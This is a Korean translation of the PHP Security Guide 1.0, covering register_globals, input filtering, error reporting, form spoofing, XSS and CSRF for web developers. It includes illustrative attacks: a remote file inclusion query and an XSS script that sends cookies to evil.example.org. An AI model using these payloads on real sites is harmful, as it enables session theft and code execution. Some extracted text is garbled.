• 검색 결과가 없습니다.

보안 가이드

N/A
N/A
Protected

Academic year: 2022

Share "보안 가이드"

Copied!
35
0
0

로드 중.... (전체 텍스트 보기)

전체 글

(1)

보안 가이드

PHP

1.0

2008. 7. 31.(번역완료)

0. 번역소개

최근 SQL 인젝션 공격과 같이 웹 응용프로그램의 취약성을 이용한 공격이 급증함에 따라 응, 용개발자 또는 운영자들이 반드시 짚고 넘어가야 할 보안 이슈를 찾는 과정에서 미국의, PHP 보안컨소시움(http://phpsec.org/)에서 발간한 PHP 보안가이드 문서를 이해할 필요가 있다고 판 단하여 국내에 소개하기로 마음을 먹었다.

본 문서는 원문(PHP Security Guide 1.0)을 충실하게 번역하였으며 일부내용은 해석해서 번역 한 사례가 있을 수 있다 내용에 대한 부분은. PHP 보안 컨소시움(contact@phpsec.org)으로 문 의하기 바란다.

본 문서를 영리적인 목적으로 사용하지 말아주길 부탁드리며 기타 번역문서에 오류 등에 관한, 문의는 아래로 부탁드립니다.

번역자 :

◦ 성윤기 (Nick name : Yune) 이메일 :

yune.sung@gmail.com

1. 개요

보안이란 무엇인가

1.1 ?

보안은 특성이 아니라 수단이다.

많은 소프트웨어 프로젝트에서 보안을 단지 만족시켜야 할 요구사항으로 정의하는 것을 보면 바람직하지 않다. “안전하냐 라고 질문하는 것은 어떤 것이 뜨거운 것이냐 라고 질문하는?” “ ?”

것과 마찬가지로 주관적인 것이다.

보안은 비용과 균형을 맞추어야 한다.

대부분의 응용프로그램에 대해서 충분한 수준으로 보안을 제공하는 것은 상대적으로 쉽고 비 용이 적게 든다 그러나 여러분이 보안에 대한 요구가 매우 까다롭다면 그리고 여러분들이. , 매우 귀중한 정보를 보호하고 있다면 더 많은 비용을 지출해서 더 높은 수준의 보안을 달성, 해야합니다 이 비용은 프로젝트의 예산에 포함되어야 한다. .

보안은 유용성과 균형을 유지해야 한다.

(2)

웹 응용 프로그램의 보안을 향상시키면 유용성도 줄어든다는 것은 일반적인 것이다 정상적. 인 사용자에게 비밀 번호 세션 시간 초과 그리고 액세스 제어를 모든 장애물을 만든다 이, , . 러한 조치는 강력한 보안을 구축하는 데 필요하지만 모든 응용프로그램에 적합한 하나의 답, 은 존재하지 않는다 보안수단을 구축하는 것과 마찬가지로 정상적인 사용자에 대한 배려가. 있어야 한다.

보안은 설계의 일부여야 한다.

여러분이 보안을 염두에 두지 않고 응용 프로그램을 설계할 경우 계속해서 새로운 보안 취, 약점에 대응해야만 한다 형편없이 설계한 것을 기초로 하면 아무리 프로그래밍을 잘하더라. , 도 소용이 없다.

기본 단계

1.2

응용 프로그램을 불법적으로 사용하는 것을 고려하라.

안전하게 설계하는 것은 솔루션의 일부일 뿐이다 개발과정 중 즉 코드를 개발하고 있는 경. 우 응용프로그램이 불법적으로 사용되는 것을 고려해야 한다 응용 프로그램이 의도하는 대, . 로 동작하도록 만드는 것에 초점을 맞춰야 한다 그리고 기능이 제대로 동작하는 것이 필요. 하지만 이 것으로 응용프로그램이 안전하게 만들 수 없다, .

자신을 교육하라.

좀 진부한 얘기이지만 이 글을 읽고 있다는 사실자체가 보안에 신경을 쓰고 있다는 증거이, 다 인터넷과 책 등 무수히 많은 정보들이 있다 그리고. . PHP 보안에 관한 정보는 컨소시움 도서관인 http://phpsec.org/library/에 있다.

만약 아무것도 없다면 모든 외부데이터는 필터링 하라.

데이터 필터링은 개발 언어와 플랫폼에 상관없이 웹 응용 프로그램 보안의 가장 기본이다.

변수를 초기화하고 외부에서 들어오는 모든 데이터를 필터링하면 대부분의 보안 취약점을, , 어렵지 않게 해결할 수 있다 화이트리스트 접근방식이 블랙리스트 접근방식보다 더 좋다 즉. . 이 말은 데이터가 유효하지 않다고 증명하지 않는 한 모든 데이터는 유효하다고 하는 것보( 다 데이터가 안전하다는 것을 증명하지 못하는 이상 모든 데이터가 유효하지 않다고 생각해) , 야한다.

레지스터 글로벌

1.3

디렉티브는 버전 이상에서는 기본적으로 사용되지 않는다

register_globals PHP 4.2.0 .

가 보안취약점을 의미하지는 않지만 보안상 위험은 있다 그러므로 응용프로그

register_globals , .

램을 개발하고 배포시에 register_globals을 사용하지 못하도록 해야 한다.

(3)

왜 register_globals 이 보안상 위험한가? 위험을 분명하게 보이도록 특수한 상황을 필요로 하기 때문에 모든 사람에게 적절한 예제를 만드는 것은 어렵다 그러나, . PHP 매뉴얼에 가장 일반적 인 예제가 다음과 같이 있다. :

<?php

if (authenticated_user()) {

$authorized = true;

}

if ($authorized) {

include '/highly/sensitive/data.php';

}

?>

파일에서 을 활성화하면 이 페이지는 의도적인 접근통제를 우회하기 위

php.ini register_globals

한 쿼리 스트링 ?authorized = 1에 의해서 요청될 수 있다 물론 이러한 특정 취약성은 개발자. 의 잘못이지 register_globals 의 문제는 아니다 그러나 이것은 위험이 증가한다는 것을 의미한. 다. register_globals이 없다면 일반적인 전역 변수 위 코드에서( $authorized)는 클라이언트에 서 제공된 데이터에 의해서 영향을 받지 않는다 가장 좋은 방법은 모든 변수를 초기화하고.

을 로 세팅하고 개발하는 것이다 그러면 개발과정에서 초기화되지 않은

error_reporting E_ALL .

변수를 사용하는 것이 간과되지 않는다.

또 다른 예제에서는 동적인 경로를 사용함으로써 register_globals이 문제가 될 수 있다는 것을 보여준다.

<?php

include "$path/script.php";

?>

활성화 되면 이 페이지는 쿼리 register_globals ,

?path=http%3A%2F%2Fevil.example.org%2F%3F로도 요청될 수 있다 그리고 다음과 같이 동일. 하게 처리할 수 있다.

<?php

(4)

include 'http://evil.example.org/?/script.php';

?>

이 활성화되면 에서 디폴트로 활성화하도록 권장된다

allow_url_fopen (php.ini .),

은 마치 로컬파일인 것처럼

http://evil.example.org/ http://evil.example.org/의 결과가 출력된다 이. 것은 주요 보안 취약점이며 일부 인기 있는 오픈소스 응용프로그램에서 발견되는 취약점 중, 하나이다.

를 초기화하거나 를 비활성화 로 설정 하면 위험을 완화할 수 있다 개

$path , register_globals (off ) .

발자가 실수로 변수를 초기화하지 못할 수 있으므로, register_globals을 비활성화 시키면 글로 벌 구성을 변경하면 쉽게 위험을 완화할 수 있다 편리한 것이 최고다 과거에 직접 손으로 폼. . 데이터를 다루어야만 했던 것보다 훨씬 낫다 그러나. $_GET과 $_POST 등 수퍼글로벌 배열을 사용하면 편리할 뿐만 아니라, register_globals을 활성화에 따른 추가적인 위험도 없다.

을 사용하면 보안성이 떨어진다는 주장에는 절대 동의할 수 없지만

register_globals ,

을 사용하지 않는 것이 좋다고 판단한다

register_globals .

추가적으로 register_globals을 사용하지 않도록 하는 것은 개발자들이 데이터 출처에 대해서 좀 더 신경 쓰라고 독려하기 위한 것이며 그리고 이것은 보안을 의식하고 개발하기 위한 중요한, 특징이다.

데이터 필터링

1.4

이전에도 설명했듯이 데이터 필터링은 프로그래밍 언어나 플랫폼과 관계없이 웹 응용 프로그램 보안의 기본이다 데이터 필터링은 응용프로그램의 입출력 데이터의 유효성을 결정하는 메커니. 즘이다 개발자들이 좋은 소프트웨어를 설계하면 다음과 같은 이점이 있다. .

데이터 필터링이 우회되지 않는다.

유효하지 않은 데이터가 유효한 데이터라고 실수로 처리되지 않는다.

데이터의 출처를 확인할 수 있다.

데이터를 필터링이 우회되지 않기 위한 여러 가지 방법이 있지만 여기서는 가장 일반적인, 2가 지 방법을 제시한다 이 방법은 충분히 보증할 수 있다. .

디스패치 방법

한 가지 방법은 웹(URL을 통해 으로부터 직접 사용가능한) PHP 스크립트를 사용하는 것인데 이것이 디스패치 방법이다 또 다른 방법은 필요에 따라 모듈에. INCLUDE나 REQUIRE를 포함 하는 것이다 이 방법은 보통. GET 변수가 모든 URL과 함께 전달되어야 한다 이. GET 변수는

(5)

스크립트 이름을 대신한 것으로 생각할 수 있다.

예를 들면 : http://example.org/dispatch.php?task=print_form

위에서 dispatch.php는 루트에 있는 유일한 파일이다 이 파일을 이용해서. 2가지 중요한 목표를 달성할 수 있다.

◦ dispatch.php내 가장 위에 글로벌 보안조치를 구현할 수 있고 이 보안조치는 우회 되지 않는다, . 특정한 업무의 통제 흐름에 집중함으로써 필요할 때 데이터를 필터링이 되는 지 쉽게 확인할

수 있다

이를 좀 더 설명하기 위해 다음 예제, dispatch.php 스크립트를 보자.

<?php

/* Global security measures */

switch ($_GET['task']) {

case 'print_form':

include '/inc/presentation/form.inc';

break;

case 'process_form':

$form_valid = false;

include '/inc/logic/process.inc';

if ($form_valid) {

include '/inc/presentation/end.inc';

} else {

include '/inc/presentation/form.inc';

} break;

default:

include '/inc/presentation/index.inc';

(6)

break;

}

?>

만약 이 파일이 유일하게 공개되는 PHP 스크립트라면 해당 응용 프로그램의 설계 시 가장 상, 위의 글로벌 보안 조치가 우회되지 않는다는 것을 확실히 해야 한다 이것을 통해 개발자는 특. 정한 작업에 대한 통제흐름을 쉽게 확인할 수 있다 예를 들어 많은 코드를 검사하는 대신에. , ,

가 일 경우 만 사용자에게 보이도록 확인하는 것이 더 쉽다 왜냐하면

$form_valid true , end.inc .

가 포함되기 직전에는 는 로 초기화되어 있기 때문에

process.inc $form_valid false process.inc 내 로직이 $form_valid를 true로 세팅해야 한다 그렇게 하지 않으면 폼은 다시 표시된다 아마과. ( 적절한 오류 메시지).

주의사항 :

와 같은 디렉토리 인덱스 파일을 사용하는 경우 대신에

index.php (dispatch.php ),

과 같은 을 사용할 수 있다 http://example.org/?task=print_form URL .

그리고 http://example.org/app/print-form 같은 URL을 사용하기 위해 아파치의 ForceType 디렉 티브 또는 mod_rewrite를 사용할 수 있다.

Include 방법

또 다른 방법은 보안만 책임지는 하나의 모듈을 만드는 것이다 이 모듈을 만들어 모든. PHP 스크립트에 가장 상단 또는 바로 근처에 위 에 포함시킨다 다음과 같은( ) . security.inc 스크립트를 고려해 볼 수 있다:

<?php

switch ($_POST['form']) {

case 'login':

$allowed = array();

$allowed[] = 'form';

$allowed[] = 'username';

$allowed[] = 'password';

$sent = array_keys($_POST);

(7)

if ($allowed == $sent) {

include '/inc/logic/process.inc';

}

break;

}

?>

위 예에서 송신되는 각각의 폼은 유일하게 식별하는 폼 변수라고 명명된 폼을 가진다.

는 특정한 폼에 대해 데이터 필터링을 처리하는 각각의 케이스를 가지고 있다 이

security.inc .

요구사항을 만족하는 HTML 폼은 아래와 같다.

<form action="/receive.php" method="POST"><input type="hidden" name="form" value="login"

/><p>Username:

<input type="text" name="username" /></p><p>Password:

<input type="password" name="password" /></p><input type="submit" /></form>

라고 명명된 배열은 정확하게 어떤 폼 변수가 허용되는 지를 식별하는 데 사용되고

$allowed ,

이 목록은 반드시 처리되어야 할 폼의 순서에 맞게 동일해야 한다 제어 흐름은 다른 곳에서. 결정되고 process.inc에 실제 데이터 필터링을 처리한다.

주의사항 :

모든 PHP 스크립트에 security.inc를 자동적으로 포함하려면 php.ini 파일에서 auto_prepend_file 디렉티브를 사용하면 된다.

필터링 예제

데이터 필터링은 앞에서 언급했듯이 화이트리스트(whitelist) 방법이 사용하는 것이 중요하다 하. 지만 모든 데이터 타입에 대한 예를 들어주기가 곤란하므로 아래의 몇 가지 사례를 보면 좀, 더 분명하게 알 수 있다.

다음은 이메일 주소의 유효성을 확인하는 스크립트이다.

<?php

(8)

$clean = array();

$email_pattern = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i';

if (preg_match($email_pattern, $_POST['email'])) {

$clean['email'] = $_POST['email'];

}

?>

The following ensures that $_POST['color'] is red, green, or blue:

<?php

$clean = array();

switch ($_POST['color']) {

case 'red':

case 'green':

case 'blue':

$clean['color'] = $_POST['color'];

break;

}

?>

The following example ensures that $_POST['num'] is an integer:

<?php

$clean = array();

if ($_POST['num'] == strval(intval($_POST['num']))) {

$clean['num'] = $_POST['num'];

}

?>

The following example ensures that $_POST['num'] is a float:

<?php

(9)

$clean = array();

if ($_POST['num'] == strval(floatval($_POST['num']))) {

$clean['num'] = $_POST['num'];

}

?>

명명 규칙

앞의 예제에서 $clean 이라는 배열을 사용한다 이 것을 사용하면 개발자가 어디에서 데이터가. 잠재적으로 훼손되는지를 알 수 있도록 해 준다 여러분은 절대로 그냥 데이터 검증해서는 안. 되고, $_POST 또는 $_GET으로 두면 안 된다 왜냐하면 개발자는 이러한 수퍼로직한 배열안에. 있는 데이터를 항상 의심해야 하기 때문이다.

또한, $clean을 좀더 자유롭게 사용한다면 훼손될 수 있는 다른 것을 고려해보아야 한다 그리. 고 이 방법은 화이트리스트 방법과 매우 밀접하며 그래서 더욱 더 보안 수준을 높일 수 있다, . 데이터가 검증된 후 $clean에 데이터를 저장한다면 데이터 검증은 대부분 성공할 수 있다 단, . 검증이 실패할 수도 있는 데 그 이유는 데이터가 훼손되는 것보다 존재하지 않는 배열 요소를, 참조할 경우 발생할 수 있다.

타이밍

일단 PHP 스크립트가 프로세싱을 시작하면 전체, HTTP 리퀘스트가 수신된다 즉 이 말은 사. 용자가 데이터를 송신할 수 있는 기회가 없어진다는 것이다 그래서 다른 데이터는 스크립트에. 입력될 수가 없다 (register_globals이 활성화된 경우에도). 이 때문에 매개 변수를 초기화해야 한다.

1.5

오류보고

년 월 일에 발표된 이 전의 버전에서는 오류보고방식은 매우 단순했다 오류 보

2004 7 13 PHP5 .

고를 위해 개발자가 직접 신중하게 프로그래밍 하는 것 이외에 오류보고는 몇 개의 구체적인, 구성 디렉티브를 이용하였다

PHP .

파일의 구성 디렉티브 php.ini

(10)

error_reporting

이 디렉티브는 원하는 오류보고 수준을 정한다 응용 개발자와 생산자는 이 디렉티브를. 로 세팅하도록 권고한다

E_ALL .

display_errors

이 디렉티브는 화면에 또는 출력으로 에러 표시 여부를 결정한다 개발 중에는( ) . On으로 설정 해야 하며 그렇게 하면 개발과정 중에 에러를 경고 받을 수 있다 생산 중에는, . Off로 설정해 야만 하며 그러면 에러는 사용자 또는 잠재적인 공격자 에게는 보이지 않는다, ( ) .

log_errors

이 지시어는 로그 기록여부를 결정한다 이 지시어는 성능에 대한 문제점이 제기되지만 에러. , 가 많지 않다면 설정하는 것이 좋다 로그기록이 되는 에러로 인해. I/O상의 무리로 인해 디스 크에 부담이 된다면 응용프로그램의 성능보다는 더 큰 문제가 생길 수 있다 이 지시어는 생, . 산과정에서는 On으로 세팅해야 한다.

error_log

이 지시어는 에러가 기록되는 로그 파일의 저장소를 의미한다 웹서버는 특정한 파일에 대한. 쓰기 권한을 있다는 것을 주의해야 한다.

을 로 설정하면 변수를 좀 더 강력하게 초기화할 수 있다 왜냐하면

error_reporting E_ALL .

로 설정되면 정의되지 않는 변수를 참조하면 주의 메시지를 발생시키기 때문이다

E-ALL .

주의사항 :

만약에 여러분이 php.ini 접근할 수 없다면 이러한 각각의 지시문은 ini_set()과 함께 세팅될 수 있다 모든 오류 처리 및 보고 기능은. PHP 매뉴얼을 보면 참고할 수 있다:

http://www.php.net/manual/en/ref.errorfunc.php 에는 예외처리기능도 포함되어 있다

PHP 5 : http://www.php.net/manual/language.exceptions.php

(11)

2. 폼 처리

스푸핑된 폼 제출

2.1

데이터 필터링에 대한 필요성 때문에, http://example.org/form.html에 위치한 다음과 같은 폼을 고려해 볼 수 있다.

<form action="/process.php" method="POST"><select name="color"><option value="red">red</option><option value="green">green</option><option value="blue">blue</option></select><input type="submit" /></form>

잠재적인 공격자가 이 HTML 파일을 저장해서 아래와 같이 변경한다고 가정해보자.

<form action="http://example.org/process.php" method="POST"><input type="text" name="color"

/><input type="submit" /></form>

아래의 폼은 어디에 위치해도 상관없으며 웹 브라우져에 의해서 읽혀지기만 하면 되므로 웹( 서버가 반드시 필요하지 않다.) 그리고 양식을 원하는 대로 조절할 수 있다 액션 속성에서 사. 용된 절대경로 URL을 통해 동일한 장소로 보내어지는 POST 리퀘스트를 수행한다.

이것을 이용해 HTML 폼 제한사항 또는 클라이언트측 스크립트가 기본적인 데이터 필터링을 수행하는 것과는 상관없이 클라이언트측 제약사항을 굉장히 쉽게 없앨 수 있다 이 예에서.

는 반드시 붉은색 초록색 또는 파란색일 필요는 없다 단순한 절차를 이용해

$_POST['color'] , , . ,

어떤 사용자는 폼을 처리하는 URL로 데이터를 제출하는 데 사용되는 편리한 폼을 만들 수 있 다.

스푸핑된 요청

2.2 HTTP

간편하지 않지만 좀 더 강력하고 방법은 HTTP 리퀘스트를 스푸핑하는 방식이다 전에 다뤘던. 예제 폼에서 사용자가 색깔 빨간색을 선택 했을 경우 을 선택하는 경우, ( ) HTTP에 리퀘스트 결과 는 다음과 같이 나타난다.

POST /process.php HTTP/1.1 Host: example.org

Content-Type: application/x-www-form-urlencoded Content-Length: 9

color=red

텔넷 프로그램을 사용해서 애드혹(Ad hoc) 시험을 수행할 수 있다 다음의 예는.

(12)

http://www.php.net에 대한 간단한 GET 리퀘스트를 만든다.

$ telnet www.php.net 80 Trying 64.246.30.37...

Connected to rs1.php.net.

Escape character is '^]'.

GET / HTTP/1.1 Host: www.php.net HTTP/1.1 200 OK

Date: Wed, 21 May 2004 12:34:56 GMT

Server: Apache/1.3.26 (Unix) mod_gzip/1.3.26.1a PHP/4.3.3-dev X-Powered-By: PHP/4.3.3-dev

Last-Modified: Wed, 21 May 2004 12:34:56 GMT Content-language: en

Set-Cookie: COUNTRY=USA expires=Wed,28-May-04 12:34:56 GMT; path=/; domain=.php.net Connection: close

Transfer-Encoding: chunked

Content-Type: text/html;charset=ISO-8859-1 2083

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01Transitional//EN">

...

물론 여러분이 텔넷을 이용해서 수작업으로 레퀘스트를 입력하는 대신에 직접 클라언트를 만, , 들 수 있다 다음 예제는. php를 사용하여 동일한 요청을 수행하는 방법을 보여준다 :

<?php

$http_response = '';

$fp = fsockopen('www.php.net', 80);

fputs($fp, "GET / HTTP/1.1\r\n");

fputs($fp, "Host: www.php.net\r\n\r\n");

while (!feof($fp)) {

$http_response .= fgets($fp, 128);

}

fclose($fp);

echo nl2br(htmlentities($http_response));

?>

리퀘스트를 송신하는 것을 직접 만들면 원하는 것을 할 수 있다 그리고 이를 통해 서버

HTTP .

측 데이터 필터링이 왜 필요한지를 이해 할 수 있다 서버쪽의 데이터 필터링 없이는 외부로부.

(13)

터 들어오는 데이터를 절대 보증할 수 없다.

크로스사이트 스크립팅

2.3

크로스사이트 스크립팅은 매체를 통해 아주 익숙한 용어가 되었으며 관심을 끌만한 해킹 수법 이었다 크로스사이트는 웹 응용프로그램중 가장 일반적인 보안 취약점중 하나이다 그리고 현. . 재 유행하는 많은 오픈소스 PHP 응용프로그램은 지속적으로 XSS 취약점 공격을 받고 있다.

공격은 다음과 같은 특징을 가지고 있다

XSS .

특정한 사이트에 대해 사용자가 가지고 있는 신뢰성을 이용한다.

어떤 웹 사이트에 대해 일반적으로 사용자의 신뢰도는 높지 않은 반면 브라우저의 신뢰도는, 높다 예를 들어 브라우져가 리퀘스트에 쿠키를 보내면 웹사이트는 신뢰관계가 된다 사용자. , . 는 서로 다른 브라우징 습관을 가지고 있을 수 있거나 자기가 방문하는 사이트에 따라 브라 우져에 정의된 서로 다른 보안수준을 가지고 있을 수 있다.

일반적으로 외부 데이터를 표시하는 웹 사이트와 관계가 있다.

포럼 웹 메일 클라이언트, , RSS 피드와 같은 통합된 내용을 표시하는 응용프로그램이 주로 위험이 높다.

공격자가 선택하는 내용을 주입한다.

외부 데이터가 제대로 필터링 되지 않을 때 공격자가 선택한 콘텐츠를 표시할 수 있다 이, . 는 공격자가 서버상에 소스를 편집할 수 있는 위험을 가지고 있다.

어떻게 이런 일이 발생하는가 하면 적절하게 필터링 되지 않은 채 외부에서 들어오는 컨텐츠, 를 표시하는 경우에 XSS 에 취약하다 이 때 외부 데이터는 클라이언트로부터만 들어오는 데. 이터를 의미하지 않는다 웹 메일 클라이언트 배너 광고 복합된 블로그 등에 표시된 이메일을. , , 의미하기도 한다 코드에 이미 있지 않은 어떤 정보는 외부로부터 들어오는 것이며 이것은 일. , 반적으로 대부분의 데이터가 외부 데이터라는 것을 의미한다.

다음은 메시지 게시판에 대한 간단한 예제이다 :

<form><input type="text" name="message"><br /><input type="submit"></form>

<?php

if (isset($_GET['message'])) {

$fp = fopen('./messages.txt', 'a');

fwrite($fp, "{$_GET['message']}<br/>");

(14)

fclose($fp);

}

readfile('./messages.txt');

?>

이 메시지 보드에는 사용자 무엇을 입력하던 <br/>가 추가되고 파일에도 이것을 추가된다 그, . 리고 난 후 파일의 현재 컨텐츠를 표시한다.

사용자가 다음과 같은 메시지를 입력한다고 생각해보라.

<script>

document.location = 'http://evil.example.org/steal_cookies.php?cookies ='+ document.cookie

</script>

자바스크립트가 활성화되어 있는 상태에서 이 메시지 보드에 방문한 다음 사용자는

로 리디렉트되고 현재의 사이트와 연관된 쿠키가 의 쿼리 스트링에 포함된

evil.example.org , URL

다.

물론 진짜 공격자라면 내가 만든 것보다 더 창조적으로 좋은 예제를 만들 수 있다. (더 좋은 예 제가 있으면 제안해 보시길 바란다.)

여기에 대한 대응책은 무엇일까? XSS는 실제 쉽게 공격을 방어할 수 있다 진짜 어려운 것은. 언제 HTML이나 클라이언트 측 스크립트가 외부로부터 제공되어야 하는 지 그리고 궁극적으로 표시되어야 하는 지를 허가하는 것이다 그러나 이러한 상황조차도 그렇게 어려운 것은 아니다. . 다음과 같은 방법을 사용하면 XSS의 위험을 완화시킬 수 있다.

모든 외부데이터를 필터링한다.

앞서 언급했던 것처럼 데이터 필터링은 여러분들이 해야 할 가장 중요한 부분이다 응용프로, . 그램의 입력 출력하는 모든 외부데이터를 검증하면/ XSS와 관련된 대부분의 문제를 완화시킬 수 있다.

기존의 함수를 사용하라.

가 필터링 로직에 도움이 되어야 한다 그리고

PHP . htmlentities(), strip_tags(), utf8_decode() 과 같은 함수가 유용하다. PHP 함수가 있는 것을 별도로 만들지 마라. PHP 자체 함수는 훨 씬 빠르고 취약성을 가질 에러를 포함할 가능성이 훨씬 낮다.

화이트리스트 방식을 사용하라.

데이터는 유효하다고 증명될 때까지 데이터는 유효하지 않다고 가정하라 여기는 입력하는. 문자의 길이를 확인하는 것과 유효한 문자를 허용하는 것 둘 다 포함한다 예를 들어 사용, . , 자가 성을 입력 시 알파벳 문자와 스페이스만 허용해야 한다, . O'reily나 Berners-Lee와 같은

(15)

이름은 유효하지 않은 것으로 간주되며 이러한 문제는 화이트리스트에 2개의 문자를 추가하 면 해결된다 악의 적인 데이터를 허용하는 것보다 유효한 데이터를 거부하는 것이 더 좋다. .

엄격한 명명 규칙을 사용해라

앞서 언급했듯이 명명 규칙은 개발자로 하여금 쉽게 필터링된 데이터와 필터링 되지 않은, 데이터를 구별해준다 개발자에게 가능한 한 쉽고 분명하게 해 주는 것이 중요하다 명확하지. . 않으면 혼돈이 생기고 이로 인해 취약성이 생긴다.

전에 언급된 간단한 메시지 보드 보다 좀더 안전한 버전은 다음과 같다.

<form><input type="text" name="message"><br /><input type="submit"></form><?php if (isset($_GET['message']))

{

$message = htmlentities($_GET['message']);

$fp = fopen('./messages.txt', 'a');

fwrite($fp, "$message<br />");

fclose($fp);

}

readfile('./messages.txt');

?>

간단히 htmlentities()함수를 추가함으로써 메시지 보드는 훨씬 더 안전해진다 하지만 이것으로, . 완벽하게 안전해 지는 것은 아니다 하지만 이 정도 적당한 수준의 보호를 제공해 줄 수 있다. . 물론 여러분들은 전에 논의되었던 베스트 프랙티스를 따르는 것이 좋다.

크로스 사이트 요청 위조

2.4 - (CSRF)

와 이름은 비슷하겠지만 크로스사이트 요청 위조 는 와

XSS , (Cross-Site Request Forgeries) XSS

정반대 스타일의 공격이다. XSS공격은 사용자가 웹사이트에서 가지고 있는 신뢰를 악용하는 반면, CSRF는 웹사이트가 사용에게 가지고 있는 신뢰를 악용한다. CSRF 공격은 XSS 공격보 다 더 위험하지만 빈번하게 발생하지는 않으며(즉 개발자에게는 적은 자원을 의미한다), 방어하 기는 좀 더 어렵다.

공격은 다음과 같은 특징을 가지고 있다

CSRF :

특정 사용자에 대해서 사이트가 가지고 있는 신뢰를 악용한다.

(16)

대부분의 사용자는 신뢰되지 않고 있다 하지만 웹 응용프로그램은 사용자가 로그인 된 이후. 에는 어떤 권한을 부여하는 것이 일반적이다 이렇게 권한이 상승된 사용자는 잠재적인 희생. 자이다 사실 알려지지 않은 공범( ).

일반적으로 사용자의 신원에 의존하는 웹사이트와 연관되어 있다.

전형적인 특징으로 사용자의 신원과 많이 관련되어 있다 안전한 세션 관리 메커니즘을 이용. 하더라도 CSRF공격은 성공할 수 있다 사실. CSRF 공격은 바로 이러한 형태의 환경에서 훨 씬 강력하다.

공격자가 선택하는 HTTP 요청을 수행한다.

공격은 공격자가 다른 사용자의 요청을 위조하는 공격과 관련된 모든 공격을

CSRF HTTP

말한다. (본질적으로 사용자가 공격자를 대신해서, HTTP 리퀘스트를 보내도록 하는 방법). 이 것을 수행하기 위해 몇 가지 방법들이 있다 그리고 여기서는 특정한 기술 하나만 예제로 보. 여주겠다.

공격은 요청을 위조하는 것이기 때문에 의 기초 수준에 대한 지식을 먼저

CSRF HTTP , HTTP

알아야 한다.

웹 브라우져는 HTTP 클라이언트이고 웹서버는 HTTP 서버이다 클라이언트는 리퀘스트를 보내. 면서 전송을 시작한다 그리고 서버는 응답을 보내면서 전송을 마무리한다 전형적인. . HTTP 리 퀘스트는 다음과 같다.

GET / HTTP/1.1 Host: example.org

User-Agent: Mozilla/5.0 Gecko

Accept: text/xml, image/png, image/jpeg, image/gif, */*

첫 번째 라인은 요청하는 내용이며 요청 방법 요청, , URL(상대적인 URL이 사용되었음), 그리고 버젼이 포함되어 있다 나머지 라인은 헤더이며 각각의 헤더의 이름에는 콜론 스

HTTP . HTTP , ,

페이스 값으로 구분되어 있다, .

로 이러한 정보를 평가하는 데 익숙할 것으로 생각한다 예를 들어 다음의 코드는 이런 특

PHP .

정한 HTTP 요청을 스트링으로 재구성하는 데 사용한다.

<?php

$request = '';

$request .= "{$_SERVER['REQUEST_METHOD']} ";

$request .= "{$_SERVER['REQUEST_URI']} ";

$request .= "{$_SERVER['SERVER_PROTOCOL']}\r\n";

$request .= "Host: {$_SERVER['HTTP_HOST']}\r\n";

$request .= "User-Agent: {$_SERVER['HTTP_USER_AGENT']}\r\n";

$request .= "Accept: {$_SERVER['HTTP_ACCEPT']}\r\n\r\n";

(17)

?>

전의 요청에 대한 한 응답의 예로 다음과 같다.

HTTP/1.1 200 OK Content-Type: text/html Content-Length: 57

<html><img src="http://example.org/image.png" /></html>

브라우져의 소스를 볼 경우 응답 메시지를 보게 된다 이러한 특정 응답에서의. img 태그가 브 라우져에게 다른 리소스 이미지 가 페이지를 잘 표현하고 있다는 사실을 알려준다 브라우져는( ) . 다른 것과 마찬가지로 이러한 자원을 요청한다 그리고 다음 예제가 그러한 리퀘스트를 보여준. 다.

GET /image.png HTTP/1.1 Host: example.org

User-Agent: Mozilla/5.0 Gecko

Accept: text/xml, image/png, image/jpeg, image/gif, */*

이 부분은 주의해서 보아야 한다 사용자가 직접 수동으로 탐색하는 것과 같이 브라우져는. img 태그의 src 속성에 정의된 URL를 요청한다 브라우져는 브라우져가 이미지를 기대한다고 특별. 히 언급할 수 있는 방법은 없다.

이것을 여러분들이 폼에 관해서 배운 것과 합쳐서 다음과 같은 유사한 URL를 고려해보자 http://stocks.example.org/buy.php?symbol=scox&quantity=1000

메소드를 사용하여 폼을 제출하는 것은 이미지 요청과 구별하기 힘들다 즉 둘 다 똑같은

GET .

요청이다 이 활성화 되어 있으면 폼의 메소드는 중요하지도 않다 개발자

URL . register_globa , . (

들이 여전인 $_POST와 같은 것을 사용하지 않는다면 다행히 위험한 부분은 분명해진다) . 에 있는 어떤 쿠키 정보가 의 요청에 포함이 되면 쉽게 공격을 받을 수 있게

URL URL , CSRF

된다. stocks.example.org와 관계를 구축한 사용자는 전의 예제에 있던 URL에 명세된 img 태그 의 페이지를 방문함으로써 SCOX의 1000주를 살 수 있다.

가설을 세워 http://stocks.example.org/form.html에 위치한 다음의 폼을 고려해 보자.

<p>Buy Stocks Instantly!</p><form action="/buy.php"><p>Symbol: <input type="text"

name="symbol" /></p><p>Quantity:<input type="text" name="quantity" /></p><input type="submit" /></form>

If the user enters SCOX for the symbol, 1000 as the quantity, and submits the form, the request that is sent by the browser is similar to the following:

GET /buy.php?symbol=SCOX&quantity=1000 HTTP/1.1 Host: stocks.example.org

User-Agent: Mozilla/5.0 Gecko

(18)

Accept: text/xml, image/png, image/jpeg, image/gif, */*

Cookie: PHPSESSID=1234

이 예제에서 세션 식별자 쿠키를 사용하는 응용프로그램을 설명하기 위해 쿠키 헤더를 포함했 다. img태그가 똑같은 URL을 참조하면 요청한, URL에 동일 쿠키가 보내진다 그리고 요청을. 처리하는 서버는 실제 주문과 이를 구별할 수 없을 것이다.

로부터 응용프로그램을 보호하기 위해 아래와 같은 몇 가지 방법이 있다

CSRF .

폼에서 GET보다 POST를 사용하라.

폼의 메소드 속성에 POST를 사용하라 이 방법은 모든 폼에 적용할 수는 없다 하지만 주식. . 을 사는 것과 같이 폼이 액션을 수행할 때는 좋은 방법이다 사실. HTTP 명세서에는 GET이 안전해야 한다고 요구한다.

에 의존하는 것보다 를 사용하라

register_global $_POST .

에 의존하거나 과 와 같은 폼 변수를 참조하면 폼 전송 시

register_global , $symbol @quantity ,

메소드를 사용하더라도 소용이 없다 를 사용하더라도 소용이 없다

POST . $_REQUEST .

편리함을 추구하지 마라.

사용자에게 편리하도록 만드는 것이 바람직하다고 여길 수 있지만 지나친 편리함은 심각한, 결과를 가져다 줄 수 있다. “원클릭 접근은 매우 안전하게 만들어 질 수 있는 반면 간단하” , 게 구현한다면 CSRF 공격 취약성이 될 수 있다.

직접 만든 폼을 사용하라.

의 가장 큰 문제점은 폼 전송과 같은 요청을 보내면서 공격을 하는 것이다 그러나 사

CSRF .

